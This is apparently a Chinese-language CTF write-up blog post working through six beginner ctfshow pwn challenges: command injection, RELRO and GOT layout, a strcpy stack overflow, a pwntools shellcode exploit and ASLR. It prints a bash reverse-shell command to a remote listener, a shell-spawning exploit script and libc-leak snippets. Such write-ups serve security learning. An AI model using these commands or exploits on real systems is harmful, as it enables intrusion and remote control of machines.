PWN从0到0.∞1 - Test_your_nc(2)

Posted by Closure on March 17, 2025

1

 程序运行后要求用户输入一个整数,并存入 v4。 判断用户输入:如果输入 9,执行* fake(),向 /ctfshow_flag* 追加 “flag is here”。如果输入其他数值,执行* real()覆盖 /ctfshow_flag*,写入 “flag is here”,最后system(“cat /ctfshow_flag”) 输出 /ctfshow_flag 的内容。

  fake() *在 */ctfshow_flag 追加内容 (» 追加),不会覆盖原来的数据,real() 在 */ctfshow_flag *直接写入内容 (> 覆盖),会清空原来的数据。

2

从这段 main 函数的实现来看flag很可能可以通过子进程提供的 shell 进行获取。

缓冲区buf变量在栈上占用 40 字节,但是* read(0, buf, 0x20u);* 只读取 32 字节数据,意味着不会发生缓冲区溢出。

fork() 产生一个新的子进程: 父进程:fork() 返回子进程的 PID(非零)。 子进程:fork() 返回 0。 父进程 wait(0LL); → 等待子进程结束 sleep(3); → 休眠3秒 printf(“flag is not here!\n”); → 提示 flag 不在此处

漏洞点在于system(buf),题目提示* “Turn off output, how to get flag?”,说明输出被屏蔽了,所以用exec cat /ctf* 1>&0* exec:用 exec 执行 cat /ctf,不会再回到 shell,而是直接执行该命令。 cat /ctf:读取 /ctf* 下的 flag 文件。

1>&0: 1 代表标准输出(stdout) 0 代表标准输入(stdin) 1>&0 把标准输出重定向到标准输入,如果 stdout 被关闭或屏蔽,则会将输出绕过限制使其可见。

这里还用 bash 反弹 shell,在本机监听端口再在目标机输入bash -i >& /dev/tcp/ip/1234 0>&1 /dev/tcp/ip/端口。>&将 bash 的stdout 和 stderr重定向到 TCP 连接,0>&1是将stdin也重定向使bash可以接受远程指令。

3

RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。

RELRO保护有三种状态:

1.No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指针,从而进行攻击。这是最弱的保护状态。

  1. Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。

  2. Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止

如果题目开启了Full RELRO:不能直接篡改GOT表,因此无法实现常规的GOT hijack或修改GOT表的攻击方式。 如果题目仅开启Partial RELRO或者No RELRO:可以轻易篡改GOT表将函数调用劫持到自己可控的地址。

补充

Full RELRO的 .got 和 .got.plt 都被设置为只读,需要在程序启动时完成 所有动态符号的绑定(即启用 Eager Binding)。由于所有符号都在程序启动时绑定,运行时性能可能会稍微降低,因为需要提前解析所有符号。

在GCC编译时,使用* -Wl,-z,relro -Wl,-z,now* 选项启用 Full RELRO。

objdump -R 一下

0000000000600f40 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000600f48 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5

.got.plt通常包含R_X86_64_JUMP_SLOT项,因此可以判断文件中存在.got.plt

通过readelf输出的节头信息,明确地给出:

[21] .got              PROGBITS         0000000000600f18  WA
[22] .got.plt          PROGBITS         0000000000600f18

.got 和 .got.plt 都有Writable属性因此两者都是可写的。

.got 可写,为 1 .got.plt 可写,为 1

根据题目格式得出ctfshow{1_1_0x600f18_0x600f40}是错的(?)

哦发现.got.plt的地址写错了,根据最readelf输出真正的地址为0x600f28,即ctfshow{1_1_0x600f18_0x600f28}

4

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
  puts("/ctfshow_flag: No such file or directory.");
  exit(0);
}
fgets(flag, 64, stream);

尝试 */ctfshow_flag *并将内容读入一个大小64的静态定义的缓冲区。

signal(11, (__sighandler_t)sigsegv_handler);

ctfshow() 函数

char *__cdecl ctfshow(char *src)
{
  char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

  return strcpy(dest, src);
}

char dest[58] 是一个位于栈上的本地缓冲区,长度是 58 字节 strcpy(dest, src):这里没有任何边界检查传进来的 src 字符串长度超过 57 个字符那么就会发生栈溢出。

引发段错误 → 程序进入 SIGSEGV_HANDLER() → 打印出 FLAG。

甚至不用管ROP和 shellcode,导致段错误就行了,传一个超长字符串qwq给 strcpy(),把栈搞炸溢出到返回地址或别的关键区域让 CPU 跳到无效地址并崩溃。

5

32位仅部分开启RELRO保护,可以看到存在一个RWX权限的段,即可读可写可执行的段

IDA查看main函数发现有一个ctfshow函数,但是无法跟进那么就直接看汇编了。

  1. 函数开始时进行一些栈操作,保存寄存器的值。
  2. 调用 __x86_get_pc_thunk_bx 函数,获取当前的指令位置并存储在ebx 寄存器中。
  3. 分配0x84字节的空间用于缓冲区,存储用户输入的数据。
  4. 调用 read 函数,从标准输入读取数据,并存储到缓冲区。
  5. 调用 puts 函数,将缓冲区的内容打印到标准输出。
  6. 通过调用 call eax 指令,以 eax 寄存器的值作为函数指针,跳转到缓冲区中存储的地址执行。
  7. 之后是一些清理工作和函数返回的准备操作。

这题题目提示了可以使用pwntools的shellcraft模块进行攻击

from pwn import *  # 导入 pwntools 库                      
context.log_level = 'debug'   # 设置日志级别为调试模式              
#io = process('./pwn')                           
io = remote("pwn.challenge.ctf.show", )     
shellcode = asm(shellcraft.sh())                 
io.sendline(shellcode)
io.interactive()      # 与目标主机进行交互

6

程序的核心逻辑其实非常简单,就是看ASLR开启没有。先调用 malloc(4) 分配一小块内存得到一个指针 ptr;dlopen 加载了* /lib/x86_64-linux-gnu/libc.so.6* 得到返回地址 v5;打印一堆 banner;再system(“cat /proc/sys/kernel/randomize_va_space”) *输出系统当前的 ASLR级别;最后通过 *printf *的形式把四个指针值拼成了flag。题目是想让我把 ASLR 关掉(echo 0 > /proc/sys/kernel/randomize_va_space)*再去运行程序,因为这时程序里所有地址的值就不会随机化。

checksec显示了* No PIE*,可执行文件本身的基地址不变,但默认情况下,libc、堆等地址一般依赖于 ASLR 会随机化,把 ASLR 关掉所有地址就都固定了。

ASLR(Address Space Layout Randomization,地址空间布局随机化) 通过随机化进程内存地址空间的布局,更难利用漏洞进行代码执行或泄露信息。

  • 可执行文件(text segment)
  • 堆(Heap)
  • 栈(Stack)
  • 动态链接库(Shared libraries)
  • mmap映射的地址(Memory-mapped files)

当一个进程启动时,操作系统会随机分配这些内存区域的位置,而不是每次都使用固定的地址。在一个Linux系统上每次运行一个程序,堆栈的起始地址都可能会不同,所以导致漏洞利用变得困难。

检测ASLR是否启用 *cat /proc/sys/kernel/randomize_va_space *

  • 0 – 关闭 ASLR
  • 1 – 部分启用(stack, mmap)
  • 2 – 完全启用(包括 heap, stack, mmap, shared libraries)

补充

调试的时候用* setarch $(uname -m) -R ./vulnerable_program*

使用 LD_PRELOAD 固定 libc 地址 LD_PRELOAD=./libc.so.6 ./pwn

由于 ASLR 会随机化地址,我们可以多次运行程序,查看地址是否变化:for i in {1..5}; do ./pwn; done

格式化字符串漏洞:p.sendline(“%p.%p.%p”)

puts@got 泄露(Partial RELRO 可用):

p.sendlineafter(">", payload)
leaked_puts = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts']